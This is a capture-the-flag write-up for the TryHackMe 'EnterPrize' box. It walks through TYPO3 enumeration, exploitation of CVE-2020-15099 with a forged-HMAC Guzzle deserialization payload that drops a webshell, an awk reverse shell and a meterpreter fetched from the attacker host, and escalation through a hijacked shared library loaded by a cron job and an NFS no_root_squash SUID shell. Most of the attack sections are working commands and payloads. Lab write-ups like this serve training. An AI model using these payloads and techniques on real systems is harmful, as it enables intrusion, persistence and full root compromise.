Information
Room#
- Name: EnterPrize
- Profile: tryhackme.com
- Difficulty: Hard
- Description: Can you hack your way in?
Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
1 | $ sudo pacman -S nmap feroxbuster ffuf whatweb weevely phpggc metasploit |
Network enumeration#
Add a local domain to the host:
1 | $ grep enterprize /etc/hosts |
Port and service scan with nmap:
1 | # Nmap 7.92 scan initiated Sun Mar 6 16:53:33 2022 as: nmap -sSVC -p- -v -oA nmap_full enterprize.thm |
Web discovery#
The homepage http://enterprize.thm/ is empty and only displays:
Nothing to see here.
Web enumeration#
Not really any sub-folder:
1 | $ feroxbuster -u http://enterprize.thm/ |
The large RAFT life list didn't find any file:
1 | $ feroxbuster -u http://enterprize.thm/ -q -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -C 403 |
So let's use the quickhits.txt
list.
1 | $ feroxbuster -u http://enterprize.thm/ -q -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -C 403 |
There is a composer.json
, a file listing installed PHP packages.
1 | $ curl http://enterprize.thm/composer.json -s | jq |
Typo3 is an open-source CMS.
Here it is installed in 9.5 version, let's check the install documentation in that version.
Here is the fresh installed tree reported in the documentation:
1 | . |
But we can't find any other file. Maybe the website is server via another subdomain.
Let's try virtual server enumeration, there is a subdomain returning a 503 status code:
1 | $ ffuf -u 'http://enterprize.thm/' -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.enterprize.thm' -fs 85 -mc all |
Let's add the subdomain to the host file:
1 | $ grep enterprize /etc/hosts |
whatweb
is able identify the exact version:
1 | $ whatweb http://maintest.enterprize.thm --plugins typo3 --aggression 3 |
Knowing it is in 9.5.22 version is nice but not very helpful, we would like to enumerate extensions, users, vulnerabilities, like wpscan does for wordpress ... of course there is Typo3Scan.
Let's temporary install it in a virtual environment.
1 | $ cd /tmp |
First update the extension and vulnerability database, then launch a scan:
1 | $ python typo3scan.py -u |
Note: Typo3Scan can't find the exact version (9.5.x) which is a pity for a Typo3 focused tool while WhatWeb was able to.
As Typo3Scan failed to detect the exact version it offers lo list all vulnerabilities for 9.5 and we will have to filter the relevant vulnerabilities manually for 9.5.22.
1 | ... |
Also it found 2 extensions:
1 | [+] Extension Information |
TYPO3-CORE-SA-2021-002
file upload doesn't need authentication but won't work for .php
or .htaccess
as stated in the advisory.
TYPO3-CORE-SA-2021-012
says that user credentials have been logged as plaintext when explicitly using log level debug (non-default).
It doesn't seem we will be able to exploit a vulnerability as is.
Let's go back to enumeration then.
1 | $ ffuf -u 'http://maintest.enterprize.thm/FUZZ' -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -mc all -fs 196 |
Note: at some point the application crashes and returns 503 status code.
It seems that directory listing is enabled, so we can list the content of
fileadmin
or typo3conf
folders.
In http://maintest.enterprize.thm/typo3conf/ we can find an old config
file renamed with the .old
extension: LocalConfiguration.old
.
In this configuration file we can read:
installToolPassword
that has been removed- the database password that may have been replaced
- the system
encryptionKey
By searching the two keywords typo3 encryptionKey
in attackerKB
we find CVE-2020-15099.
We didn't find it early with Typo3Scan because TYPO3-CORE-SA-2020-007 says affected versions are from 9.0.0 to 9.5.19.
With encryptionKey
we should be able to create
an administration user account β which can be used to trigger remote code execution by injecting custom extensions.
according to the CVE.
Searching the same keywords on a search engine leads to SynAcktiv article on how to exploit it.
Web exploitation#
The previous article explains how a deserialization vulnerability occurs in
the forwardToReferringRequest()
function of Typo3. This function is called
when a form is sent to the server.
By navigating the website menu we can find a page with a form: http://maintest.enterprize.thm/index.php?id=38
The leaked encryptionKey
allows us to compute a valid HMAC to pass the
signature check.
Then we need a gadget to exploit the PHP deserialization, as in the article
we can see the composer.json
includes a guzzle
dependency:
1 | "guzzlehttp/guzzle": "~6.3.3", |
Hopefully phpggc already includes a guzzle gadget chain.
We have all the ingredients we need for our deserialization recipe!
We'll stat by generating a fancy webshell with weevely.
1 | $ weevely generate norajpass noraj-agent.php |
Then we'll need to fetch phpggc:
1 | $ git clone https://github.com/ambionics/phpggc |
There are different Guzzle gadgets, for more persistence we'll choose the file write one to write oru webshell.
1 | $ ./phpggc -l Guzzle |
We can probably write into /fileadmin/_temp_/
or /fileadmin/user_upload/
on
the remote machine.
1 | $ ./phpggc --base64 --fast-destruct Guzzle/FW1 /var/www/html/public/fileadmin/_temp_/noraj-agent.php ../noraj-agent.php > serialized_payload.txt |
Before generating the HMAc we need to know which algorithm is used but the article doesn't say it. The quick and dirty way to find it is to analyse the signature generated in the article and guess it.
1 | $ haiti 1337e758b27ba8f6f8eabcaa02afd8e885381337 |
With the help fo haiti we could probably say it is SHA1.
But the only way to know for sure is the long and smart way: code review.
We know the validateAndStripHmac
function is called to validate the hash, so let's find it
in the code. By using github search engine I quickly found it is defined
in /typo3/sysext/extbase/Classes/Security/Cryptography/HashService.php
. Now we need
to set a vulnerable version back from that time: 9.5.19.
validateAndStripHmac
is defined here:
1 | public function validateAndStripHmac($string) |
It does some checks and strips then call validateHmac
which is a few line above.
1 | public function validateHmac($string, $hmac) |
It only compares the provided hash is equal to the generated one by generateHmac
:
1 | public function generateHmac($string) |
There we can see sha1 is used, without guessing.
Now we have several way of computing the HMAC.
We can use PHP hash_hmac native function.
1 |
|
1 | $ php hmac.php $(cat ./phpggc/serialized_payload.txt) |
There is a linux binary hmac256
from libgcrypt
but it works onlmy for SHA256:
1 | $ hmac256 71<encryptionKey_edited>0b phpggc/serialized_payload.txt |
For sha1 we need to use openssl:
1 | $ cat phpggc/serialized_payload.txt| openssl dgst -sha1 -hmac '71<encryptionKey_edited>0b' |
We can also use a small ruby script:
1 | require 'openssl' |
1 | $ ruby hmac.rb phpggc/serialized_payload.txt |
The final payload just need to be the concatenation of the base64 encoded serialized webshell and the SHA1 HMAC signature.
That's why validateAndStripHmac
stip all but the last 40 chars (SHA1 is 40
chars long).
1 | YToyOntpOjc7TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTozOntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjc1MToiPD9waHAKJGQ9JyRrPUdSIjNjR1JiMThlZmMiOyRrR1JHUmg9IjBmR1I0OTdjODNmR1JHUmQxYiI7JGtmPUdSIjNjNzA1Y2JiZTg4ZSI7JEdScD0iR1JsVVNYN0dSWHpvTHNRR1IyOENTSyI7ZnVuY0dSdGlvR1JuIHgoJHRHUkcnOwokRT1zdHJfcmVwbGFjZSgncFInLCcnLCdjcnBScFJwUmVhcFJ0ZV9wUmZ1bnBSY3Rpb24nKTsKJFU9J1IsR1Ikayl7JGM9c3RybGVuKCRrR1JHUik7JGw9c3RybGVuR1IoJHQpO0dSJG89IiI7Zm9HUnIoR1IkaUdSPTA7JGk8R1IkbDspe2ZvcihHUiRHUmo9MDsoJGo8JGMmJiRpPEdSJGwpR1I7JGorKywkaSsrKXskJzsKJGU9J1JwdXQiKSwkR1JtR1IpPT1HUjEpR1Ige0BvYl9zdGFydEdSKCk7QGV2YUdSbChAZ0dSenVuY29tcEdScmVzcyhAR1J4KEdSQGJHUmFzZTY0X2RHUmVjb2RlKCRtWzFdKSwkaykpKUdSOyRvPUBvYkdSX2dldF8nOwokUz0nby49R1IkdEdSeyRpfV4ka3skan1HUjtHUn19R1JyZXRHUnVybiAkbzt9aWYgR1IoQHByZWdfR1JtYUdSdGNoKCIvJGtoR1IoLkdSR1IrKSRrZi8iLEBmaWxlX2dldF9jb25HUnRlbnRzR1IoInBoR1JwOi8vaW5HJzsKJGc9J0dSY29udGVudHMoKTtAR1JvYl9lbkdSZEdSX0dSY2xlYW4oKTskcj1HUkBiYXNHUmU2NF9lbkdSY29kR1JlKEB4KEBnR1J6Y0dSb21wR1JyZXNzKCRvKSwkR1JrKSk7cHJpbkdSdCgiJHAka2gkciRrZiIpO30nOwokVz1zdHJfcmVwbGFjZSgnR1InLCcnLCRkLiRVLiRTLiRlLiRnKTsKJHM9JEUoJycsJFcpOyRzKCk7Cj8+CiI7fX19czozOToiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBzdHJpY3RNb2RlIjtOO3M6NDE6IgBHdXp6bGVIdHRwXENvb2tpZVxGaWxlQ29va2llSmFyAGZpbGVuYW1lIjtzOjUzOiIvdmFyL3d3dy9odG1sL3B1YmxpYy9maWxlYWRtaW4vX3RlbXBfL25vcmFqLWFnZW50LnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO31pOjc7aTo3O30=7c2b7a0949ec730afe7bb908ff2df85973e3a725 |
Then fill the form with whatever values you want, intercept the request.
Now we need to replace the field tx_form_formframework[contactForm-144][__state]
value with our payload.
Right now my paylaod is failing, the webshell was not uploaded.
I guess my PHP version is too recent:
1 | $ php --version |
Typo3 9 requires a version of PHP between 7.2 and 7.4.
1 | $ pikaur -S php74 php74-cli |
So let's try again with PHP 7.4 (diffing the output of phpggc
I saw there was a difference).
1 | $ php74 ./phpggc --base64 --fast-destruct Guzzle/FW1 /var/www/html/public/fileadmin/_temp_/noraj-agent.php ../noraj-agent.php > serialized_payload.txt |
Failing again, the webshell was not uploaded. And if it was the weevely webshell that wasn't serializing correctly?
Let's try a simpler webshell.
1 | $output = system($_GET[1]); echo $output ; |
Failing again, the webshell was not uploaded.
So I stole a payload from another writeup to be able to to RCE and used it
find the PHP version to avoid retrying the same process with many PHP versions.
For some reason /usr/bin/php --version
was not working so
I ran ls -lh /usr/bin | grep php
to see what's going on:
1 | lrwxrwxrwx 1 root root 21 Jan 3 2021 php -> /etc/alternatives/php |
ls -lh /etc/alternatives/php
1 | lrwxrwxrwx 1 root root 15 Jan 3 2021 /etc/alternatives/php -> /usr/bin/php7.2 |
So it seems the server is using PHP 7.2.X. Of course we need the same version to have a valid serialized payload.
The challenge was easier when released as PHP version 7.2 was the latest available on Ubuntu LTS at that time so people just used phpggc without questionning while now identifying the PHP version on the server is difficult as it doesn't leak in HTTP header. Also compiling and installing previous version of PHP can be challenging and time consuming.
So now that I know that I need to use PHP 7.2 I'll use a docker image.
1 | $ sudo docker pull php:7.2-cli |
This time it works, my webshell was uploaded!
Unfortunately weevely
can't connect but now that uploads work we can upload
a more classic PHP webshell.
1 | $ weevely terminal http://maintest.enterprize.thm/fileadmin/_temp_/noraj-agent.php norajpass |
From webshell to reverse shell#
Running the id
we can see we are in the blocked group.
1 | uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(blocked) uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(blocked) |
Most binaries are blocked or not available, the only one I found working from https://www.revshells.com/ was the awk one.
1 | awk 'BEGIN {s = "/inet/tcp/0/10.9.19.77/9999"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null |
1 | GET /fileadmin/_temp_/inject.php?1=%61%77%6b%20%27%42%45%47%49%4e%20%7b%73%20%3d%20%22%2f%69%6e%65%74%2f%74%63%70%2f%30%2f%31%30%2e%39%2e%31%39%2e%37%37%2f9999%22%3b%20%77%68%69%6c%65%28%34%32%29%20%7b%20%64%6f%7b%20%70%72%69%6e%74%66%20%22%73%68%65%6c%6c%3e%22%20%7c%26%20%73%3b%20%73%20%7c%26%20%67%65%74%6c%69%6e%65%20%63%3b%20%69%66%28%63%29%7b%20%77%68%69%6c%65%20%28%28%63%20%7c%26%20%67%65%74%6c%69%6e%65%29%20%3e%20%30%29%20%70%72%69%6e%74%20%24%30%20%7c%26%20%73%3b%20%63%6c%6f%73%65%28%63%29%3b%20%7d%20%7d%20%77%68%69%6c%65%28%63%20%21%3d%20%22%65%78%69%74%22%29%20%63%6c%6f%73%65%28%73%29%3b%20%7d%7d%27%20%2f%64%65%76%2f%6e%75%6c%6c |
1 | $ ncat -lvnp 9999 |
Upgrade reverse shell#
As we have a limited shell we can upload a meterpreter reverse shell.
Craft the meterpreter:
1 | $ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.9.19.77 LPORT=8888 -f elf -o reverse.elf |
Start a one-line HTP server:
1 | $ ruby -run -ehttpd . -p8000 |
Download and execute it:
1 | shell>wget http://10.9.19.77:8000/reverse.elf |
Receive the connection:
1 | msf6 exploit(multi/handler) > run |
Elevation of Prevelege (EoP): from www-data to john#
We'll have to get hohn's permissions to read user.txt
flag.
1 | $ ls -lh /home/john |
Let's check the libraries loaded:
1 | $ ldd /home/john/develop/myapp |
Let's check the ld.so
configuration to see how shared libraries are loaded.
1 | $ cat /etc/ld.so.conf |
x86_64-libc.conf
is a symlink to /home/john/develop/test.conf
where we can write.
With ltrace
we can see the function do_ping
is called:
1 | $ ltrace ./myapp |
do_ping
must be loaded from libcustom.so
.
Let's upload pspy to see if there is a cron job.
- On host:
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
ruby -run -ehttpd . -p8000
- On target:
wget http://10.9.19.77:8000/pspy64
chmod u+x pspy64
We can observe this:
1 | 2022/03/12 18:56:01 CMD: UID=0 PID=3713 | /usr/sbin/CRON -f |
So there is a cron job where john launchs the binary.
I'll make my lib launch a meterpreter.
1 |
|
Then compile the lib on our machine and upload it.
1 | $ gcc -shared -o libcustom.so -fPIC libcustom.c |
On the target, create the LD config file and copy the bad lib.
1 | $ cd /home/john/develop |
Just waiting 2 minutes I received a connection:
1 | msf6 exploit(multi/handler) > sessions -l |
1 | $ id |
Persitence#
Let's create a SSH access with our public key.
1 | $ mkdir ~/.ssh |
Then we can connect to the host:
1 | $ ssh -i ~/.ssh/id_ed25519 john@enterprize.thm |
Elevation of Prevelege (EoP): from john to root#
1 | john@enterprize:~$ ss -nlpt |
Interestingly there is a NFS service (port 2049) running locally.
Let's make a local port forwarding to inspect it.
1 | $ ssh -i ~/.ssh/id_ed25519 john@enterprize.thm -N -L 2049:127.0.0.1:2049 |
As recommended on HackTricks
we can read /etc/exports
to see how NFS is configured.
1 | john@enterprize:~$ grep -v '#' /etc/exports |
As explained here
with no_root_squash
we'll have access to the files on the NFS as root.
Let's mount the share and copy a SUID shell in it.
1 | $ mkdir nfs |
But it didn't work executing /var/nfs/sh -p
because of incomptability
with versions of shared libraries. So instead I'll copy the /bin/sh
from
the system.
1 | $ scp -i ~/.ssh/id_ed25519 john@enterprize.thm:/bin/sh . |
Note: do not unmount the share from your host as doing it removes the SUID bits, you must have the share mounted while executing a binary from the target.
Another way to do it is to create a C SUID binary:
1 | int main(){ |
1 | $ sudo mount -t nfs 127.0.0.1:/var/nfs nfs/ |
1 | john@enterprize:/var/nfs$ ./sh -p |
About Typo3Scan#
whoot, the author of Typo3Scan, spotted that I made a wrong assumption about his tool and was kind enough to share it's analysis that is quoted below.
Hello there, nice writeup!
I noticed that you used my tool (Typo3Scan) for enumeration and wondered why it was not possible to identify the exact version, but WhatWeb was.
Here is why:
Both tools use a database with MD5 hashes of various accessible files of a Typo3 installation. While I keep the database of Typo3Scan up to date and actually verify the data and delete duplicates, WhatWeb does not. The dataset in WhatWeb is from 2021 and the most current Typo3 version in there is 11.1. Some guys simply calculated the MD5 hash for the file 'typo3/sysext/backend/Resources/Public/JavaScript/LoginRefresh.js' and published the data into the WhatWeb repo without even looking into the data.
If you actually looked into the data (https://github.com/urbanadventurer/WhatWeb/blob/master/plugins/typo3.rb), you would have noticed that the same hash is referenced for different versions. In your case WhatWeb identified version 9.5.22 and the MD5 hash of the LoginRefresh.js is '320db84396f6064c1d956ce156bc4ab9'. However, this is also the case for 9.5.23 and 9.5.24 and WhatWeb just used the first one. Its even worse for hash '8d6eb428cdb6a55304eb500ea1975e7c', which is present 7 times and is the hash for 9.5.15 to 9.5.21.
Since Typo3Scan database does not contain duplicates, the tool was not able to identify the exact version, but only the main branch (9.5). It would be interesting to see which version was actually installed on the TryHackMe box to verify this assumption.
The advisory TYPO3-CORE-SA-2020-007 should have been listed by Typo3Scan, because all vulnerabilities of the branch 9.5 were shown. Maybe you overlooked it, because you filtered for vulnerabilities affecting 9.5.22.
Best regards,
Whoot
P. S.: Typo3Scan supports the output of all vulnerbilities for a given version. You could have used the following: python3 typo3scan.py --core 9.5.22